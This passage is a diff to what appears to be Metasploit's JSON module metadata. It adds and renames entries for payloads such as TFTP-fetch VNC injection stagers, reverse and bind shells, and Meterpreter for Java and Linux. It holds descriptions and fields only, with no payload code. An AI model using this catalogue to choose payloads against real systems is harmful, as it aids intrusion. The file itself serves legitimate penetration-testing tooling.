tftp server.\n\nListen for a connection with UUID Support (Windows x64)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -190825,21 +211207,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-01-20 14:53:59 +0000", - "path": "/modules/payloads/adapters/cmd/windows/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/python/shell_reverse_sctp", + "ref_name": "cmd/windows/tftp/x64/vncinject/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/vncinject/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_tcp_uuid" }, - "payload_cmd/windows/python/shell_reverse_tcp": { - "name": "Python Exec, Command Shell, Reverse TCP (via python)", - "fullname": "payload/cmd/windows/python/shell_reverse_tcp", + "payload_cmd/windows/tftp/x64/vncinject/reverse_http": { + "name": "TFTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/tftp/x64/vncinject/reverse_http", "aliases": [ ], @@ -190847,12 +211235,14 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "Ben Campbell " + "Brendan Watters", + "sf ", + "OJ Reeves" ], - "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nTunnel communication over HTTP (Windows x64 wininet)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -190860,21 +211250,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-01-20 14:53:59 +0000", - "path": "/modules/payloads/adapters/cmd/windows/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/python/shell_reverse_tcp", + "ref_name": "cmd/windows/tftp/x64/vncinject/reverse_http", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/vncinject/reverse_http", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_http" }, - "payload_cmd/windows/python/shell_reverse_tcp_ssl": { - "name": "Python Exec, Command Shell, Reverse TCP SSL (via python)", - "fullname": "payload/cmd/windows/python/shell_reverse_tcp_ssl", + "payload_cmd/windows/tftp/x64/vncinject/reverse_https": { + "name": "TFTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/tftp/x64/vncinject/reverse_https", "aliases": [ ], @@ -190882,12 +211278,16 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "RageLtMan " + "Brendan Watters", + "sf ", + "hdm ", + "agix", + "rwincey" ], - "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, uses SSL, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nTunnel communication over HTTP (Windows x64 wininet)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -190895,21 +211295,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-01-20 14:53:59 +0000", - "path": "/modules/payloads/adapters/cmd/windows/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/python/shell_reverse_tcp_ssl", + "ref_name": "cmd/windows/tftp/x64/vncinject/reverse_https", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/vncinject/reverse_https", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_https" }, - "payload_cmd/windows/python/shell_reverse_udp": { - "name": "Python Exec, Command Shell, Reverse UDP (via python)", - "fullname": "payload/cmd/windows/python/shell_reverse_udp", + "payload_cmd/windows/tftp/x64/vncinject/reverse_tcp": { + "name": "TFTP Fetch, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/tftp/x64/vncinject/reverse_tcp", "aliases": [ ], @@ -190917,12 +211323,13 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "RageLtMan " + "Brendan Watters", + "sf " ], - "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to the attacker (Windows x64)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -190930,21 +211337,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-01-20 14:53:59 +0000", - "path": "/modules/payloads/adapters/cmd/windows/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/python/shell_reverse_udp", + "ref_name": "cmd/windows/tftp/x64/vncinject/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/vncinject/reverse_tcp", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_tcp" }, - "payload_cmd/windows/reverse_lua": { - "name": "Windows Command Shell, Reverse TCP (via Lua)", - "fullname": "payload/cmd/windows/reverse_lua", + "payload_cmd/windows/tftp/x64/vncinject/reverse_tcp_rc4": { + "name": "TFTP Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/tftp/x64/vncinject/reverse_tcp_rc4", "aliases": [ ], @@ -190952,11 +211365,18 @@ "disclosure_date": null, "type": "payload", "author": [ - "xistence " + "Brendan Watters", + "sf ", + "hdm ", + "skape ", + "mihi", + "max3raza", + "RageLtMan" ], - "description": "Creates an interactive shell via Lua", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to the attacker", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -190964,21 +211384,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/windows/reverse_lua.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/reverse_lua", + "ref_name": "cmd/windows/tftp/x64/vncinject/reverse_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/vncinject/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_tcp_rc4" }, - "payload_cmd/windows/reverse_perl": { - "name": "Windows Command, Double Reverse TCP Connection (via Perl)", - "fullname": "payload/cmd/windows/reverse_perl", + "payload_cmd/windows/tftp/x64/vncinject/reverse_tcp_uuid": { + "name": "TFTP Fetch, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/tftp/x64/vncinject/reverse_tcp_uuid", "aliases": [ ], @@ -190986,12 +211412,14 @@ "disclosure_date": null, "type": "payload", "author": [ - "cazz ", - "aushack " + "Brendan Watters", + "sf ", + "OJ Reeves" ], - "description": "Creates an interactive shell via perl", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to the attacker with UUID Support (Windows x64)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -190999,21 +211427,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/windows/reverse_perl.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/reverse_perl", + "ref_name": "cmd/windows/tftp/x64/vncinject/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/vncinject/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, - "payload_cmd/windows/reverse_powershell": { - "name": "Windows Command Shell, Reverse TCP (via Powershell)", - "fullname": "payload/cmd/windows/reverse_powershell", + "payload_cmd/windows/tftp/x64/vncinject/reverse_winhttp": { + "name": "TFTP Fetch, Windows x64 Reverse HTTP Stager (winhttp)", + "fullname": "payload/cmd/windows/tftp/x64/vncinject/reverse_winhttp", "aliases": [ ], @@ -191021,12 +211455,14 @@ "disclosure_date": null, "type": "payload", "author": [ - "Dave Kennedy", - "Ben Campbell " + "Brendan Watters", + "sf ", + "OJ Reeves" ], - "description": "Connect back and create a command shell via Powershell", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nTunnel communication over HTTP (Windows x64 winhttp)", "references": [ - "URL-https://github.com/trustedsec/social-engineer-toolkit/blob/master/src/powershell/reverse.powershell" + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -191034,21 +211470,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/windows/reverse_powershell.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/reverse_powershell", + "ref_name": "cmd/windows/tftp/x64/vncinject/reverse_winhttp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/vncinject/reverse_winhttp", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_winhttp" }, - "payload_cmd/windows/reverse_ruby": { - "name": "Windows Command Shell, Reverse TCP (via Ruby)", - "fullname": "payload/cmd/windows/reverse_ruby", + "payload_cmd/windows/tftp/x64/vncinject/reverse_winhttps": { + "name": "TFTP Fetch, Windows x64 Reverse HTTPS Stager (winhttp)", + "fullname": "payload/cmd/windows/tftp/x64/vncinject/reverse_winhttps", "aliases": [ ], @@ -191056,11 +211498,14 @@ "disclosure_date": null, "type": "payload", "author": [ - "kris katterjohn " + "Brendan Watters", + "sf ", + "OJ Reeves" ], - "description": "Connect back and create a command shell via Ruby", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -191068,17 +211513,23 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/windows/reverse_ruby.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/reverse_ruby", + "ref_name": "cmd/windows/tftp/x64/vncinject/reverse_winhttps", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/vncinject/reverse_winhttps", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_winhttps" }, "payload_firefox/exec": { "name": "Firefox XPCOM Execute Command", @@ -191112,7 +211563,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_firefox/shell_bind_tcp": { "name": "Command Shell, Bind TCP (via Firefox XPCOM script)", @@ -191146,7 +211599,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_firefox/shell_reverse_tcp": { "name": "Command Shell, Reverse TCP (via Firefox XPCOM script)", @@ -191180,7 +211635,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_generic/custom": { "name": "Custom Payload", @@ -191214,7 +211671,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_generic/debug_trap": { "name": "Generic x86 Debug Trap", @@ -191248,7 +211707,45 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_generic/shell_bind_aws_ssm": { + "name": "Command Shell, Bind SSM (via AWS API)", + "fullname": "payload/generic/shell_bind_aws_ssm", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "RageLtMan " + ], + "description": "Creates an interactive shell using AWS SSM", + "references": [ + + ], + "platform": "All", + "arch": "x86, x86_64, x64, mips, mipsle, mipsbe, mips64, mips64le, ppc, ppce500v2, ppc64, ppc64le, cbea, cbea64, sparc, sparc64, armle, armbe, aarch64, cmd, php, tty, java, ruby, dalvik, python, nodejs, firefox, zarch, r", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-04-18 16:41:48 +0000", + "path": "/modules/payloads/singles/generic/shell_bind_aws_ssm.rb", + "is_install_path": true, + "ref_name": "generic/shell_bind_aws_ssm", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_generic/shell_bind_tcp": { "name": "Generic Command Shell, Bind TCP Inline", @@ -191282,7 +211779,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_generic/shell_reverse_tcp": { "name": "Generic Command Shell, Reverse TCP Inline", @@ -191316,7 +211815,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_generic/ssh/interact": { "name": "Interact with Established SSH Connection", @@ -191350,7 +211851,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_generic/tight_loop": { "name": "Generic x86 Tight Loop", @@ -191384,7 +211887,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_java/jsp_shell_bind_tcp": { "name": "Java JSP Command Shell, Bind TCP Inline", @@ -191418,7 +211923,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_java/jsp_shell_reverse_tcp": { "name": "Java JSP Command Shell, Reverse TCP Inline", @@ -191452,7 +211959,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_java/meterpreter/bind_tcp": { "name": "Java Meterpreter, Java Bind TCP Stager", @@ -191488,7 +211997,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "java/meterpreter", + "stager_refname": "java/bind_tcp" }, "payload_java/meterpreter/reverse_http": { "name": "Java Meterpreter, Java Reverse HTTP Stager", @@ -191525,7 +212038,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "java/meterpreter", + "stager_refname": "java/reverse_http" }, "payload_java/meterpreter/reverse_https": { "name": "Java Meterpreter, Java Reverse HTTPS Stager", @@ -191562,7 +212079,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "java/meterpreter", + "stager_refname": "java/reverse_https" }, "payload_java/meterpreter/reverse_tcp": { "name": "Java Meterpreter, Java Reverse TCP Stager", @@ -191598,7 +212119,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "java/meterpreter", + "stager_refname": "java/reverse_tcp" }, "payload_java/shell/bind_tcp": { "name": "Command Shell, Java Bind TCP Stager", @@ -191633,7 +212158,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "java/shell", + "stager_refname": "java/bind_tcp" }, "payload_java/shell/reverse_tcp": { "name": "Command Shell, Java Reverse TCP Stager", @@ -191668,7 +212197,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "java/shell", + "stager_refname": "java/reverse_tcp" }, "payload_java/shell_reverse_tcp": { "name": "Java Command Shell, Reverse TCP Inline", @@ -191703,7 +212236,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/aarch64/meterpreter/reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Stager", @@ -191737,7 +212272,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/aarch64/meterpreter", + "stager_refname": "linux/aarch64/reverse_tcp" }, "payload_linux/aarch64/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", @@ -191773,7 +212312,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/aarch64/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", @@ -191809,7 +212350,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/aarch64/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", @@ -191845,7 +212388,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/aarch64/shell/reverse_tcp": { "name": "Linux dup2 Command Shell, Reverse TCP Stager", @@ -191879,7 +212424,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/aarch64/shell", + "stager_refname": "linux/aarch64/reverse_tcp" }, "payload_linux/aarch64/shell_reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Inline", @@ -191913,7 +212462,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/armbe/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", @@ -191949,7 +212500,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/armbe/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", @@ -191985,7 +212538,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/armbe/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", @@ -192021,7 +212576,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/armbe/shell_bind_tcp": { "name": "Linux ARM Big Endian Command Shell, Bind TCP Inline", @@ -192055,7 +212612,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/armle/adduser": { "name": "Linux Add User", @@ -192089,7 +212648,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/armle/exec": { "name": "Linux Execute Command", @@ -192123,7 +212684,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/armle/meterpreter/bind_tcp": { "name": "Linux Meterpreter, Bind TCP Stager", @@ -192158,7 +212721,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/armle/meterpreter", + "stager_refname": "linux/armle/bind_tcp" }, "payload_linux/armle/meterpreter/reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Stager", @@ -192194,7 +212761,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/armle/meterpreter", + "stager_refname": "linux/armle/reverse_tcp" }, "payload_linux/armle/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", @@ -192230,7 +212801,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/armle/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", @@ -192266,7 +212839,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/armle/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", @@ -192302,7 +212877,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/armle/shell/bind_tcp": { "name": "Linux dup2 Command Shell, Bind TCP Stager", @@ -192336,7 +212913,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/armle/shell", + "stager_refname": "linux/armle/bind_tcp" }, "payload_linux/armle/shell/reverse_tcp": { "name": "Linux dup2 Command Shell, Reverse TCP Stager", @@ -192371,7 +212952,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/armle/shell", + "stager_refname": "linux/armle/reverse_tcp" }, "payload_linux/armle/shell_bind_tcp": { "name": "Linux Command Shell, Reverse TCP Inline", @@ -192406,7 +212991,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/armle/shell_reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Inline", @@ -192440,7 +213027,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/mips64/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", @@ -192476,7 +213065,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/mips64/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", @@ -192512,7 +213103,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/mips64/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", @@ -192548,7 +213141,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/mipsbe/exec": { "name": "Linux Execute Command", @@ -192583,7 +213178,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/mipsbe/meterpreter/reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Stager", @@ -192619,7 +213216,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/mipsbe/meterpreter", + "stager_refname": "linux/mipsbe/reverse_tcp" }, "payload_linux/mipsbe/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", @@ -192655,7 +213256,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/mipsbe/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", @@ -192691,7 +213294,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/mipsbe/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", @@ -192727,7 +213332,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/mipsbe/reboot": { "name": "Linux Reboot", @@ -192762,7 +213369,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/mipsbe/shell/reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Stager", @@ -192797,7 +213406,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/mipsbe/shell", + "stager_refname": "linux/mipsbe/reverse_tcp" }, "payload_linux/mipsbe/shell_bind_tcp": { "name": "Linux Command Shell, Bind TCP Inline", @@ -192834,7 +213447,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/mipsbe/shell_reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Inline", @@ -192869,7 +213484,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/mipsle/exec": { "name": "Linux Execute Command", @@ -192904,7 +213521,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/mipsle/meterpreter/reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Stager", @@ -192940,7 +213559,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/mipsle/meterpreter", + "stager_refname": "linux/mipsle/reverse_tcp" }, "payload_linux/mipsle/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", @@ -192976,7 +213599,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/mipsle/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", @@ -193012,7 +213637,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/mipsle/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", @@ -193048,7 +213675,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/mipsle/reboot": { "name": "Linux Reboot", @@ -193083,7 +213712,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/mipsle/shell/reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Stager", @@ -193118,7 +213749,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/mipsle/shell", + "stager_refname": "linux/mipsle/reverse_tcp" }, "payload_linux/mipsle/shell_bind_tcp": { "name": "Linux Command Shell, Bind TCP Inline", @@ -193155,7 +213790,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/mipsle/shell_reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Inline", @@ -193190,7 +213827,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/ppc/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", @@ -193226,7 +213865,9 @@ 